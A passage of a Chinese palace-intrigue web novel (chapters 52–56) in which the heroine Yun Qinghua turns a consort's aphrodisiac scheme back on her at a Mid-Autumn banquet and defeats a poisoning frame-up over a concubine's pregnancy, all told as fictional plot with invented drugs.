“她素来张狂,如今怀孕却按住不说,一定是在憋坏水。”云清婳一边描眉一边慵懒地说。 “一定是赵婉宁,在背后指点。”飞霜不屑地冷嗤。 中秋当日设了宫宴,裴墨染照旧带了赵婉宁、云清婳。 宫宴上,各个皇子、妃子、大臣分列两边。 此次,睿王稍显落寞,而裴云澈、裴墨染身边重臣云集。 裴墨染、赵婉宁并肩而坐。 云清婳只能坐在后面的席位。 觥筹交错,推杯换盏,歌舞升平。 裴墨染熟稔地与人应酬敬酒。 啪—— 赵婉宁的筷子的掉到了地上。 云清婳弯下腰,拾起筷子,双手递给宫娥,让宫娥换上新的。 “云妹妹真乖,伺候得如此周到,我身为正妃,是万万做不来的。”赵婉宁知道裴墨染听不到,懒得装了。 云清婳毫不避让,她怼道:“做不来就学,妾身可以教您。” 赵婉宁的心火腾地升起,她的脸抽搐了一下,阴阳怪气道:“说笑了,妾即是婢,正妃岂用学这些卑贱做派?就像是我能穿红,而云妹妹只能穿粉,你教不着我。” 云清婳差点笑出声。 啊对对对,正妃可以吃红烧肉,侧妃只能吃粉蒸肉。 “在座的哪位王妃不是躬亲为自家王爷搛菜倒酒?卑贱吗?宫宴人多眼杂,您莫要再给王爷惹祸了!”云清婳故意把声音提高了些。 “你……” 裴墨染听到声响,他捏着酒杯的手一顿,不满地回头看向她们二人。 在人情世故方面,他向来信任云清婳。 他毫不犹豫地瞪着赵婉宁,斥道:“王妃谨言慎行,若是不想待在这里,就回府!” “……是。”赵婉宁憋屈地低下了头。 裴墨染又无奈地看向云清婳,云清婳一秒变乖巧,坐回座位。 就在这时,对面的虞贵妃举着酒杯,狭长上挑的凤眼尽显风情。 她笑吟吟道:“云侧妃,上次祭祀多有误会,本宫敬你一杯。” 云清婳起身,“臣妾不敢当,应是臣妾敬您。” “云侧妃乃是京城第一贵女,上次母妃为了查明真相,言辞略尖锐了些,今日何不以一杯酒言和?是吗?四皇兄?”睿王说着,敬了裴墨染一杯酒。 裴墨染回敬,他叹息一声:“北镇抚司已经查明,此事都是先王妃所为,她爱敬皇弟,却用错了方法,着实可悲啊。” 睿王的眼底掀起痛惜,可嘴角不得不上扬,“是啊。” “云侧妃,请用。”虞贵妃的婢女端上了一杯酒。 云清婳看着虞贵妃娇媚而阴毒的面孔,心中冷笑。 按照小说原剧情,虞贵妃会在一年后的中秋宫宴,给姐姐下极品媚药。 让宫人将姐姐跟酒醉的裴云澈扶进同一间偏殿,之后再带人捉奸,借此离间裴墨染跟裴云澈。 但姐姐中药后,用金簪捅刺大腿,保持住了清醒,所以捉奸成空,虞贵妃还被查出来了。 但最后,皇上看在虞将军的面子上,为虞贵妃掩饰,最终只处死了虞贵妃的贴身婢女。 这一次,她可不会放过虞贵妃这个贱人! 皇上满意地看着兄友弟恭,家人和睦的景象,他的眼底难得流露出一丝温情。 云清婳早就服用了解毒丸,她状似无奈地捧着酒杯,将酒水一饮而尽,“多谢贵妃娘娘,臣妾也敬您。” 她递给飞霜一个眼色,飞霜端着劝盘呈去了一杯酒。 “真是好孩子。”虞贵妃接过酒杯,红唇抿着清甜的酒水。 云清婳的眼睫撒下一片阴影。 以为只有你会下药吗? 不如比一比谁的药猛! 她要以其人之道,还治其人之身! 云清婳扶着脑袋,似乎醉了,“夫君,妾身有些醉,去外面醒醒酒。” “可用本王陪你?”裴墨染问。 一个宫娥立即扶起云清婳,“王爷放心,奴婢这就扶着云侧妃去偏殿醒酒。” “嗯。”他颔首。 赵婉宁的红唇勾起。 她亦是知道剧情的,一想到等会儿云清婳跟裴云澈被捉奸,她就忍不住想笑。 …… 偏殿。 很快,裴云澈也被扶进来了。 他一进门,云清婳就扑进他的怀中,“殿下,妾身好热……” “蛮蛮?!”裴云澈脚步虚浮,但神志还余四分。 云清婳双眼含泪,媚眼如丝,祈求地看着他,“妾身被下药了,好难受……” 裴云澈被天理人伦裹挟,道貌岸然地说:“不可,不可。” 时间紧急,云清婳可没时间跟他磨蹭。 她将他推倒在榻上,“求您疼妾身。” 裴云澈的理智跟欲望纠缠,或许是醉了,他翻身将她压下,“蛮蛮……” 他的唇就要落下时,飞霜从屏风后面现身,她一记手刀劈晕了他。 “真恶心!”云清婳嫌弃地推开了压在身上,死猪一般沉的男人。 裴云澈面颊绯红,很快就呼吸急促起来。 云清婳看着窗边的迷香,膈应地说:“就算是他做春梦,梦见与我敦伦,我也觉得恶心。” “真是便宜他了!主子,咱们得快点了。”飞霜吃力地给裴云澈翻身,脱去他的长袍、中衣、亵裤,然后叠好。 云清婳故意将发髻散了散,将一只耳环取下,塞进他的亵衣里。 她就是要让裴云澈以为他们二人有了首尾! 做完这一切,不到半盏茶的功夫。 …… 宫宴上,一个太监慌张跑来,撞进了太监总管魏宁的怀里。 “不好了!不好了!” “你个瞎眼王八?慌慌张张的,怎么了?”魏宁翘着兰花指斥道。 小太监在他耳边絮絮地说了什么,魏宁的脸都白了。 他脸上走上台阶,俯身向皇上禀报。 皇上登时黑了脸。 霎时,宴厅安静下来,落针可闻,大有山雨欲来风满楼的架势,众人心中七上八下的。 皇上的视线落在裴墨染的脸上,正欲发话,睿王便拱手,“父皇,儿臣方才路过偏殿听见了男女龌龊的声音,不如让儿臣去处置?” “嗯。”皇上颔首。 裴墨染的心中莫名不安,他也跟了上去。 “王爷,咱们快点找到云妹妹啊,方才云妹妹也去偏殿了。”赵婉宁慌张地说,脸上尽是担心。 “……”裴墨染烦躁不堪,他瞪了赵婉宁一眼。 可心早就乱了! 看着睿王眼底的幸灾乐祸,他登时反应过来。 一定是方才的那杯酒! 偏殿的房中,门大开着。 外面围着一群太监、嬷嬷,他们的表情骇人,就像看到了什么伤风败俗,令人惊恐的事。 “天啊……” “伤风败俗啊!” “嘘……不能说,不能说。” 赵婉宁捂着嘴,“天啊,莫不是云妹妹?” 裴墨染慌了,他恨他气……他脑海中尽是蛮蛮在其他男人身下婉转承欢的画面。 他双臂颤抖,一时之间竟不敢上前。 “四皇兄不上去看看?是不敢吗?”说着,睿王比了个请的手势。 裴墨染知道这件事不怪蛮蛮,可作为一个男人,他不能接受! 他瞪了睿王一眼,沉重地向前走,就像奔赴刑场。 裴墨染大力掀开人群,咆哮道:“看什么看?都滚!滚!” 被戴了绿帽子的感受快要让他的理智分崩离析! “云妹妹……”赵婉宁在后面轻轻喊了一声。 可没人回应。 床榻上,居然是衣衫凌乱、媚眼如丝的虞贵妃跟一个侍卫! 第53章 一起收拾赵婉宁 “都滚开!本宫被人算计了!”虞贵妃尖叫。 门外的睿王听到声音,冲了进去,“母妃?!” “我儿……呜呜呜……”虞贵妃扑进睿王怀中。 睿王拔剑,一剑刺杀了侍卫,血溅当场。 赵婉宁眼底尽是失望。 裴墨染的眼中光芒乍现,他松了口气,调侃道:“皇弟,你太暴戾了,怎能草芥人命?” “不!不对!”睿王双目布满红血丝,“裴云澈呢?裴云澈呢?” “贤王醉酒,在隔壁小憩呢。”一个嬷嬷说。 许多人都挤过去看了,贤王脱了衣物,果真在隔壁沉睡。 睿王的唇瓣一颤,精明的眸中出现了茫然,他轻声呢喃:“怎么可能?怎么可能?” “云清婳!一定是云清婳敬的酒有问题!”虞贵妃尖叫。 正说着,云清婳抱着一只狗走来。 “有人叫臣妾?”她面若桃花,眉眼含笑。 可看到屋中血淋淋的情景,她的脸色惨白,唇瓣颤抖道:“这这这……” 裴墨染捂住她的双眼,将她拥入怀中,一字一顿道:“别怕,有本王在。” 他不安的心,终于落回了肚子里。 “夫君……”她娇滴滴地倚靠着他,就像全身心信赖他。 旁边的赵婉宁像个外人,她气得差点咬碎银牙。 皇上很快便闻风赶来。 给皇上戴绿帽子,辱没天子的脸面,帝王之怒可想而知。 “呜呜呜皇上,妾身中药了!妾身是干净的,妾身方才什么都没做啊!呜呜……”虞贵妃发髻散乱,涕泪横流地抱着皇上的腿。 皇上眼睛一眯,他抬起腿照着虞贵妃的心窝狠狠踹了一脚。 啊—— 虞贵妃向后倒去,她捂着胸口,五脏六腑都移了位,脑袋七荤八素,眼前一黯,出现重影,“噗……” 她竟呕出了一口鲜血。 皇后露出胜利者的笑,眼中尽是嘲讽。 “父皇!母妃对您的心天地可鉴,母妃定是被人算计的!对,一定是云清婳的酒有问题!”睿王双眼含恨,死死盯着云清婳,就像是捕食的野兽。 “妾身冤枉啊!贵妃娘娘吃了不少酒,怎就偏偏攀咬妾身?请太医验酒再下定论也不迟啊。”云清婳跪下,条理清晰地说。 皇上早就责令太医查验,此时,太医正好来复命,他拱手道:“陛下,酒盏碗碟没有问题。” 此话如平地惊雷,让皇上的神色从沉静霎时转变为阴鸷暴戾。 “不!臣妾冤枉啊,皇上,您相信臣妾啊,臣妾伺候了您二十多年啊。”虞贵妃发髻散乱,如同疯了,她狼狈地哭着。 可皇上鹰隼般的眸子冰冷刺骨,没有丝毫动容。 虞贵妃忽然想到什么,颤抖地指着人群,“云清婳,你方才去哪儿了?你发髻散乱,耳环也丢了一只!这个侍卫莫不是你的情郎?你让他构陷本宫!” 众人的视线落在云清婳的身上,她的左耳的耳垂果真掉了只耳坠子。 裴墨染的目光也同样落在她的脸上。 赵婉宁眸色一亮,“云妹妹,你方才去哪儿了?” 云清婳抬眼看向裴墨染,裴墨染不自然地收回视线。 她嘟着嘴,明显不悦。 一个年迈的身影,拨开人群上前。 桂嬷嬷跪下,恭敬道:“陛下,云侧妃的耳坠子丢了,恰好撞见了老奴遛狗,方才老奴陪云侧妃一起找耳坠子呢,都找了一炷香的功夫了。” 皇上自然是相信桂嬷嬷的,她是太后的贴身宫女,德高望重。 “将虞贵妃禁足!”皇上甩袖而去。 虞将军尚在沿海抵御海寇,磨还没推完,驴暂时不能杀。 “不要啊,皇上,臣妾是冤枉的,您相信臣妾啊……”虞贵妃大声喊叫着,被宫人拖走。 睿王不敢求情,只是恨入骨髓地看着裴墨染。 此次,虞贵妃犯了大忌,多半难以东山再起。 皇后眼角的皱纹都笑了出来,隐忍憋屈多年,一朝扬眉吐气。 屏退众人后,她握着裴墨染的手,慈爱地说:“墨染,你做得很好。” “嗯?”裴墨染蹙眉,“不是母后所为?” 皇后的眼底迸发一丝怀疑,她轻笑:“或许是云澈做的吧。” “皇兄向来缜密,谋略双全。”裴墨染的脸上露出崇敬之色。 皇后看着眼前人,心里惊觉他跟皇上的样貌足有六分相似。 倘若今日之事是裴墨染所为,她就不得不防了。 夺嫡就是如此,希望自己的盟友强,可又不希望他太强。 …… 回程的马车上。 裴墨染心情大好,他握住云清婳的双手,迟疑地问:“蛮蛮,方才虞贵妃的酒没问题?” 狗男人果然还是怀疑到了她身上。 “妾身跟父亲学了许多,知道酒场上最易生龃龉,所以出门前吃了解毒丸。”云清婳解释。 他打消疑虑,眼中迸发出嘉赏。 蛮蛮不愧是云丞相从小按照当家主母培养的贵女,有她在,不仅可以帮他争脸面,还可帮他抵挡许多暗潮。 “耳坠丢了便丢了,何必摸黑寻找?本王稍后赐你一箱。”他揉揉她小巧的耳垂。 她摇摇头,苦恼地说:“可那是夫君送的。” 这让裴墨染的心十分熨贴。 他随意赏的玩意,他都不记得,但蛮蛮却视若珍宝。 不像赵婉宁,把他精心送的生辰礼,赏赐给贱婢。 “真傻!蛮蛮,方才若是虞贵妃得逞了,本王真不知该怎么办了。”他情不自禁的抱住她,完全忽略了还赵婉宁在场。 云清婳的眼底滑过狡黠。 这副耳坠其实是裴云澈送的,她赌裴墨染不记得,所以胡说八道呢。 没成想狗男人这么感动。 赵婉宁黑着脸,她双手抓着膝上的绸缎,紧紧攥着拳。 “您方才还怀疑妾身了,妾身看见了!”她没好气地推开他。 裴墨染就知道她会看出来,她向来冰雪聪明。 “本王只是担心蛮蛮中药。”他苍白地解释。 但云清婳的重点却不在此,她双眼一定,视线射向赵婉宁,“王妃,方才虞贵妃攀咬妾身,您为何要帮着虞贵妃询问?” “我……”赵婉宁完全没想到云清婳会翻旧账,有些心虚。 裴墨染的脸也沉了下去。 “您就这么容不下妾身吗?倘若妾身没有人证,虞贵妃攀咬成功,我会身败名裂,夫君会怎么样呢?”云清婳戛然而止。 赵婉宁恼羞成怒,她斥道:“你一个侧妃,凭什么咄咄逼人地质问我?你何时骑在我头上了?” “住口!”裴墨染低吼,他看赵婉宁的眼神带着鄙夷、嫌弃,“你方才帮着虞贵妃质问蛮蛮,你是想害死本王吗?” 第54章 赵婉宁,你咬我啊 这也是裴墨染的心声,但因为云清婳应对得当,所以他就揭过去了。 “臣妾怎会害您?臣妾与您是夫妻啊,一荣俱荣。”赵婉宁委屈的眼泪直往外掉。 裴墨染或许是早就心死。 他气急了,居然冷不丁笑了,“你只知一荣俱荣,那你知不知一损俱损?” “……”赵婉宁语塞。 她知道裴墨染是男主,最后会登基,所以才肆无忌惮。 可这些解释,根本说不出口。 她只能默默拭泪,在心里幻想着扒了云清婳的皮、划烂她的脸。 到了肃王府,裴墨染牵着云清婳的手,共同下车。 云清婳忽的福身,正色道:“王爷恕罪,方才妾身僭越,对王妃不敬。” 裴墨染连忙扶她起身,他在她耳边道:“蛮蛮没错,你跟本王的心是向着一处的。” 可他的正妃,总有上不得台面的小心思。 只会添乱! 就在这时,管家着急忙慌地跑来,“王爷,不好了,崔夫人呕血了……” “她又怎么了?”裴墨染满是烦躁。 管家看着一边的云清婳欲言又止,“王爷,您去看看吧。” 云清婳的双眼滑过诡秘的光。 赵婉宁又开始作妖了呢。 这出戏,她可得演好。 她跟飞霜交换了一个眼神。 马车中,赵婉宁露出阴恻恻的笑。 挡她路的人,都得死! …… 到了崔夫人的宅院,丫鬟正将一盆盆的血水往外端。 婆子、婢女站了一院子。 沈沁、魏娴也探头探脑地站在庭院往里看。 裴墨染眉心一跳,大步迈进房中。 他虽不愿长子染上高丽血脉,但拥有子嗣,聊胜于无啊。 “怎么回事?”裴墨染站在床榻前,看着面如纸色的崔氏。 府医跪下,颤颤巍巍道:“王爷,崔夫人动了胎气,胎儿就算今晚能保住,恐怕也留不到月底!” “上次不是说无孕吗?”他的声音像是淬了冰。 “上次月份太浅,就算是华佗在世也看不出来啊。”府医诚惶诚恐地叩首。 床榻上,崔夫人双手捂着小腹,哭得肝肠寸断:“呜呜呜王爷,您要给妾身做主啊!都是云清婳害妾身,都是云清婳干的!” 云清婳似是被吓到,后退一步。 裴墨染搂住她的腰,递给她一个安心的眼神,他没好气道:“跟云妃有什么关系?你一天不攀咬云妃就活不下去?” “呜呜呜……”崔夫人委屈的胸口剧烈起伏。 崔夫人的贴身婢女红着眼道:“主子是喝了云侧妃送来的桂花酒之后才吐血的!紧接着,主子下身就见了红。” “呜呜呜我的孩子啊,云清婳,你这个蛇蝎心肠的贱人!你自己怀不上孩子,便对我的孩子下手!”崔夫人有气无力地哭骂。 “住口!尊卑有别,云妃岂是你能不敬的?”飞霜高声斥责。 崔夫人又气又怒,怨恨地瞪着云清婳主仆二人。 赵婉宁不知何时也赶来了,她站在床头,面露怜惜,“云侧妃,你跟崔夫人素来不和,我不愿怀疑你,可关乎子嗣,你得给个解释。” “王妃呜呜呜……”崔夫人感动地啜泣,看到赵婉宁就像看到了靠山。 云清婳暗暗勾唇。 桂花酒的酿造,皆是万嬷嬷一手操办,她根本没有机会插手,酒也是万嬷嬷派人送的。 崔夫人中毒了,跟她有什么关系? “王妃,妾身岂会如此恶毒,您这么说,实在太侮辱人了!还未探查,您怎可轻易下定论?”云清婳含泪甩袖,一副倔强的模样。 赵婉宁的双目简直要喷火,她怒道:“放肆,注意你的态度!前些日子你当众殴打崔夫人,将她踹入湖中,我已经饶你一回,你为何还如此嚣张?” “……”云清婳不语,只是眼泪早已打湿了脸颊。 裴墨染的心脏夹杂着些许心疼,他斥责:“遇事失察,只会臆断!王妃倘若治家有方,府中怎会屡次出现这种腌臜事?如若你管不好后宅,自会有人接手。” 酒是万嬷嬷酿的,下毒的人当然不会是蛮蛮。 霎时,赵婉宁的心咯噔一响,她的眼泪也随之流出。 她不明白,为何裴墨染查也没查,就偏帮偏信云清婳? 难道他真爱上这个贱人了? “夫君……”云清婳感动地看着他。 裴墨染暗自松了口气,他为她揩去脸上的泪痕。 他这次所为,终于让蛮蛮满意了。 沈沁连忙说:“王爷,妾身也喝了酒,酒水并无问题。” 魏娴也跟着说:“妾身也喝了。” “药究竟是谁下的?为何不偏不倚地要害妾身啊?王爷,有人要害咱们的孩子……”崔夫人痛哭着,可眼睛直勾勾看着云清婳。 裴墨染脸色一黯,递给贴身太监一个眼神,贴身太监立即去查。 一盏茶的功夫过去,贴身太监双手呈上了一包药粉,“奴才在玄音阁婢女迎春的被褥里翻到了七星海棠花粉。此物倘若服用过量,五脏六腑都会溃烂。” 家丁将迎春押了上来。 迎春哭着磕头,“王爷,奴婢什么都不知道!这药粉是飞霜姐姐让奴婢保管的,奴婢什么都不知道啊!” “胡说!奴婢根本没有没见过什么七星海棠!”飞霜跪下道。 赵婉宁的眸底跳动着隐隐的兴奋,她黛眉一挑,厉声呵斥:“云侧妃,你还有什么好说的?没想到你居然这般歹毒,崔夫人不过是跟你有些口舌之争,你却屡屡害其性命!” 玄音阁虽然固若金汤,密不透风,可除了素问,她还埋得有耳目。 这包药粉,早在崔夫人落水那日,就藏在玄音阁。 “王爷,求您为咱们的孩子做主啊!云侧妃,你要索就索我的命,不要害我的孩儿啊!”崔夫人抱着小腹撕心裂肺地哭喊。 裴墨染觉得可笑。 桂花酒自始至终都没被玄音阁的人经手,万嬷嬷深谙宫斗谋略,双眼看得又紧,怎会跟蛮蛮有关系? “贱婢投毒谋害皇嗣,即刻乱棍打死。”裴墨染摆摆手,极为随意下达命令。 仿佛碾死一只蚂蚁般容易。 这是明晃晃的包庇! 不仅赵婉宁,就连崔夫人、沈沁、魏娴都惊了。 赵婉宁有火无处发,恨不得冲上去,挠破贱人的面皮! 云清婳冲她挑眉,还挑衅地抛了个媚眼。 就像在说,你咬我啊。 “王爷!明明是云侧妃……”崔夫人面如纸色,脸上大汗淋漓,她颤颤指着云清婳的方向。 贴身太监不疾不徐地说:“王爷,除了迎春,奴才还在崔夫人院子里的婢女喜鹊的枕头下搜到了七星海棠的花粉。” 话音一落,赵婉宁的眸子紧缩,心紧紧揪了起来。 她面部都抽搐起来。 怎么回事? 为什么花粉跑到喜鹊的枕头下面? 她惊疑的看向云清婳。 云清婳冲她嫣然一笑。 真当她没有防备吗? 蠢货! 第55章 蛮蛮以色侍君 她早就发现迎春有问题。 只是将计就计罢了。 贴身太监接着说:“迎春近两个月没出过玄音阁,没机会投毒,所以恐怕是崔夫人的院子里出了内鬼啊!” “奴婢没有做过,奴婢什么都不知道啊,一定是有人陷害奴婢……”喜鹊被押在地上,委屈地哭喊。 崔夫人的眸子涣散,她惊恐慌张地看向赵婉宁。 喜鹊可是赵婉宁赐给她的婢女! 而且,她怀孕的事,也只给赵婉宁说过。 云清婳很满意崔夫人震惊的表情。 赵婉宁想一石二鸟,堕掉崔夫人的孩子,顺便让她万劫不复。 但她也可以使离间计啊! 赵婉宁慌乱了一瞬,她眼眸微眯,寒凉地刺向欲言又止的崔夫人。 崔夫人不敢张嘴,只能懦弱地哭泣。 “崔夫人,难道是你为了争宠,所以服毒自残?你真是太让我失望了!”赵婉宁似乎恍然大悟。 裴墨染的眸色一狠,他瞪着崔夫人。 “崔氏,你真是愚蠢、阴毒至极,太让本王失望了!”他呵斥。 “冤枉啊,王爷,妾身就算想攀咬云侧妃,可怎舍得对孩子下手?妾身真的是被人谋害的。”崔夫人哭着辩解。 裴墨染反问:“你素来张狂,若是事先知道怀孕,为何不说与本王?” 崔夫人被噎住,她委屈地再次看向赵婉宁。 因为,赵婉宁不让她说,说中原的规矩是前三个月不能声张,以免孩子小器。 这一步步,像极了圈套! 她跟云清婳似乎都中计了。 裴墨染怒道:“崔氏,你栽赃嫁祸云妃,其心可诛!但念你怀有皇嗣,你便从今日起静思己过,无事不准离开院落!” “是……”崔夫人憋屈地应声。 “至于王妃,遇事失察,只会臆断,治家无方,也应当自省!” 赵婉宁差点咬碎银牙,“是。” 可她的心稍稍安然下来,无论如何,她自保成功了,没人会怀疑她。 云清婳仿佛洞悉了赵婉宁的内心,娇俏地斜睨了她一眼,“夫君,再查查迎春吧,妾身内心不安,总觉得她还会霍乱玄音阁。” “好!将两个贱婢拖去地牢,严刑伺候,以儆效尤。”她的话,提醒了裴墨染。 这样的投毒栽赃手段,已经不是第一次发生了! 裴墨染的眼神刺向了赵婉宁。 他会查清楚迎春、喜鹊的来历,看她们究竟跟清心阁有没有关系。 赵婉宁的腿肚子直抽抽,瘫软得差点跌坐在地上。 这个贱人! 居然敢正大光明地攀咬她。 裴墨染握住云清婳的手,径自往玄音阁的方向走去,就像本该如此。 这让崔夫人看傻了眼。 为什么会这样? 王爷不是讨厌云清婳吗? “王爷待云姐姐真好。”沈沁羡慕地说。 魏娴但笑不语。 …… 玄音阁。 云清婳从嫁妆里取出了保胎丸,她呈上给裴墨染,“崔夫人胎像不稳,这保胎丸是望仙谷的神医所制,也许能固胎。” 裴墨染的心里划过一道暖流,无比熨贴,他心疼地揉揉她的小脸,“你总是想着别人,崔氏那样骂你,你还关心她?” “妾身不是关心她,是关心夫君的孩子。”她跟裴墨染一同坐在窗牗前的坐榻上,共赏天边圆月。 他命人将药拿去给府医过目,解释道:“免得有心之人借题发挥,白费你的好心。” “妾身明白。今日是中秋,虽说发生了不快,可夫君也该赏赐各位夫人些月饼、绫罗绸缎,以示关怀。”她倚靠在他的怀里,疲惫地交代着。 “听见了吗?”裴墨染冲贴身太监轻扬下巴,“快去办。” 贴身太监连声称是,他的眼角噙着泪光。 肃王府终于有点家的样子了。 云侧妃才像一个正儿八经的王妃,一个持家有度的女主人。 “蛮蛮想要什么?”裴墨染勾勾她的下巴,嗓音喑哑。 见状,飞霜机灵地带着婢女退下,关上了门窗。 云清婳的眼尾风情万种地挑起,百媚丛生。 她反常地跨坐在他的腿上。 裴墨染的心脏似乎被什么无形的暗器击中,在这一刹那都忘记了跳动,之后胸腔一震。 蛮蛮面皮薄,每次亲昵,她总是娇羞闪躲。 这还是她第一次主动! 他浑身的血液好似都激涌起来。 “夫君方才没有怀疑蛮蛮,蛮蛮要奖励您。”云清婳双手勾住他的脖子,额抵着他的额。 她一脸清纯,却做着无比勾人的举动。 呼吸交缠,裴墨染的呼吸都重了几分。 他箍住她的细腰,免得她从怀里滑下去,他明明心里受用极了,可还是贱兮兮地吓她,“放肆,你还奖励起本王来了?” “哼!既然夫君不要,妾身就去沐浴了。”她打了个哈欠,准备从他的腿上下去。 裴墨染的双臂加大力度勾了勾她的腰肢,“回来!谁说本王不要?” 云清婳俏皮地笑了。 他的双眸撞进了她的眼中,四目相接,绵柔温热的情意似乎两相融到了一起。 裴墨染又一次听见自己稳健有力的心跳。 这是在为眼前人悸动。 “闭眼。”她拍拍他的肩头。 裴墨染阖上双眼。 这一刻,他想,蛮蛮说什么他或许都会答应。 他等待着她粉嫩的唇瓣落下。 可半晌,唇上没有迎来温热的触感,只有脸颊上蜻蜓点水般地被亲了一下。 紧接着,云清婳从他腿上下去。 裴墨染被气笑了。 他长臂一伸,轻松勾住她的细腰,又将人带回怀里坐着。 她的腰肢太细,他似乎轻轻用力就能折断。 “亲脸而已,你让本王闭什么眼?”裴墨染在她耳畔呵气。 当然是为了让你心痒痒,得不到啊。 钓狗男人,就得这样。 云清婳挣了挣,难为情地说:“妾身害羞啊。” “你哪里本王没亲过?为何害羞?”说着,裴墨染的吻落在她的后脖颈。 她随之轻颤,捂住他的嘴,红着脸道:“不许说了。” 他低声笑了,将她打横抱起来,朝床榻走去,“这才算奖励。” 床榻前的嫣色帐幔落下,系在如意钩上的宫铃响到了后半夜。 裴墨染不愧是小说男主,天赋异禀,而且还会在床笫上讨好她。 云清婳心想,就当她点了个高质量男模。 …… 翌日。 送走裴墨染后,飞霜支开婢女,递上来了一封信,“这是裴云澈派人给您的,他可是上钩了?” 云清婳打开信,扫了一眼后冷不丁笑了。 他昨晚在偏殿做了关于她的春梦,酒醒后发现衣衫不整,亵衣里还落了她的耳坠子。 恐怕任谁都会以为他们有了露水情缘。 “裴云澈在信上跟我道歉呢。”云清婳鄙夷地说着。 她将妆奁里仅剩一只的耳坠子递给飞霜。 飞霜当即知道怎么做了,“奴婢这就让人给裴云澈送去。” 云清婳颔首,目光深远,“假孕药做好了吗?” 第56章 挖坑,等裴墨染跳 飞霜从怀里取出一个木盒,“服下此物后,脉象与有孕无异,葵水也会停,但只能维持三个月。” “足够了。”云清婳将药丸喂进口中,心里划过报复的快感。 这个“孩子”会成为赵婉宁的催命符,也会是裴云澈跟裴墨染反目成仇的引火线。 飞霜不由得担心道:“主子,只是真的要让崔氏的孩子生在您前面吗?这样会不会对您不利?” 云清婳倚窗而立,她漫不经心道:“我们用不着担心,赵婉宁是容不下长子的。更何况裴墨染将来会入住东宫,登基为帝,他将来会有许多子嗣,我害得过来吗?” 姐姐心善,对孩子有一种天然的怜惜,所以她不愿对孩子下手。 “是。”飞霜虽然不知道主子为何笃定王爷会成为储君,但她相信主子的判断。 …… 书房。 裴墨染坐在桌前处理政务时,贴身太监面色难看地走了进来,他俯身禀报:“王爷,昨晚迎春、喜鹊在地牢咬舌自尽了。” 砰—— 裴墨染将手边的茶盏挥落,瓷片碎地遍地都是,“她们倘若心中没鬼,怎会自尽?” 他心中阴郁交缠。 究竟是哪个不安分的想要谋害他的子嗣? 贴身太监接着道:“线索虽然断了,但是奴才查到,迎春与喜鹊都在清心阁待过。” 裴墨染呼吸一窒,莫大的失望充斥着他的胸腔,让他快要喘不上气。 为何又是这样? 为何又与婉宁有关? 父皇最看重子嗣,倘若他能有孩子,这对他将会是一个助力! 婉宁为何这么糊涂? “王爷,还查吗?”贴身太监怯生生地问。 裴墨染的脸上仿佛笼罩了一层阴霾,让人看不出心情的好坏,“不必了。” 再查下去,未必会得到想要的结果。 当初,这个王妃是他非要娶的,甚至不惜拿军功来换,当时不仅惹得母后,皇祖母不悦,就连父皇都震怒。 他可不想把自己置于高塔,让自己下不来台。 裴墨染狠狠掐了下眉心,冗长地叹了声。 …… 皇后听闻崔氏怀孕,虽然稍有不满,但还是赏赐了许多珍贵的药材、补品,她又让白嬷嬷去清心阁传话,责令府内妻妾不准争斗。 虽然没有指名道姓,但这也跟打赵婉宁的脸无异。 赵婉宁当时正在用膳,白嬷嬷走后,她气得掀翻了桌子。 “这个老女人!她凭什么对我指手画脚?贱妇!”赵婉宁红着眼叱骂。 要不是皇后日后对裴墨染登基有用,她恨不得药死皇后! “王妃,慎言啊!”青樱吓得面色惨白,扯了扯她的衣袖。 赵婉宁的理智渐渐回笼,她眼中乍现出冷意,眼尾抽搐着,看起来十分可怖,“为何崔氏那个蠢货,伺候王爷一次就有孕了。而我有太后给的药方,却不行?” 青樱只能安慰,“高丽进贡的美人,肯定有点子狐媚术在身上的!王妃,正所谓好事多磨,或许这昭示着您要怀男胎啊。” 闻言,赵婉宁拧成川字的眉头散开,她抚上自己的小腹,“对!我一定能生下男胎!王爷的嫡长子,只有我才能生。至于崔氏的杂种,生不下来的。” …… 接下来的两个月,裴墨染忙于制造政绩,几乎日日在北镇抚司留宿。 唯有皇后催得急,他才会回府临幸沈沁、魏娴,翌日天没亮他就又赶回北镇抚司。 赵婉宁急得嘴角都快燎起泡。 她害怕又有新人怀孕,她的地位会受到威胁,岌岌可危。 紧接着,王府里又传来云侧妃失宠,旧人不如新人云云之类的闲话。 风声很快就传到了玄音阁。 云清婳正倚靠在贵妃榻上,剥橘子吃,她评价道:“啧,赵婉宁想见裴墨染,却不敢去喊人,所以撺掇我去北镇抚司找裴墨染,证明自己没失宠。” “她当人人都跟她一样没脑子吗?王爷忙得晕头转向,谁去谁就是傻子。”飞霜冷嘁。 云清婳话锋一转,“你这药真厉害,我胃里真有些恶心。” 飞霜的神色变得骄傲,“主子,赵婉宁的人往咱们跟崔氏院子里的井里撒了药,崔氏的孩子怕是生不下来了。” 她早有预料般笑了,她揉着小腹,“赵婉宁必定会把脏水泼在我头上,当下正缺一个契机。” “算着日子,裴墨染也快忙完了。我已经让爹爹跟哥哥们帮扶他了,六部三司任凭他调查,一路畅通。” “您如此帮扶王爷,王爷若是有心,就该疼您。”飞霜长叹了一声。 云清婳的嘴角勾起一抹冷意,“他若是有心,怎会包庇赵婉宁?迎春跟喜鹊明明是清心阁出来的,可他却压了下去。” 正说着,青樱来了,她福福身,“云侧妃,王妃邀您去清心阁喝茶呢。” 云清婳自然不能推拒。 她到时,沈沁、魏娴都来了。 赵婉宁整个下午都在勉励沈沁、魏娴,让她们早日替王爷传宗接代,又替云清婳惋惜,明里暗里讽刺她失宠,连崔夫人都比不上。 云清婳面露难堪之色,似乎很羞耻。 …… 回到玄音阁,飞霜忍不住发牢骚:“赵婉宁真是恶心!当众给您难堪,以为这就真能刺激到您?咱们才不中计!” “不!咱们要中计!”云清婳冷不丁笑了。 正好,过几天是她的生辰呢。 每次裴墨染一误会她,表面上都是她在受委屈,可之后狗男人就会加倍补偿她。 谁是占便宜的人,还不一定呢。 他就是要激怒裴墨染,再让他愧疚、后悔,然后求她原谅。 …… 没几日,飞霜就提着茶点去了诏狱外,说是邀请肃王回府陪云妃用膳。 许多重案即将结案,当下正是最忙的时候。 属下通传后,裴墨染胸中的躁意丛生,他蹙眉道:“蛮蛮怎么如此不懂事?争宠争到这里来了!此处岂是女人能来的?” “还不是您惯的?”一个副将打趣。 裴墨染的脸沉了下去。 他不希望蛮蛮恃宠而骄,不希望蛮蛮变得跟赵婉宁一样。 放在以前,蛮蛮只会送茶点,但绝对不会邀宠。 可今日怎么这么拎不清? “那茶点还要不要?都快一天了,王爷就用了一顿饭。”乾风拱手问。 裴墨染口嫌体正直,微不可闻地嗯了一声。 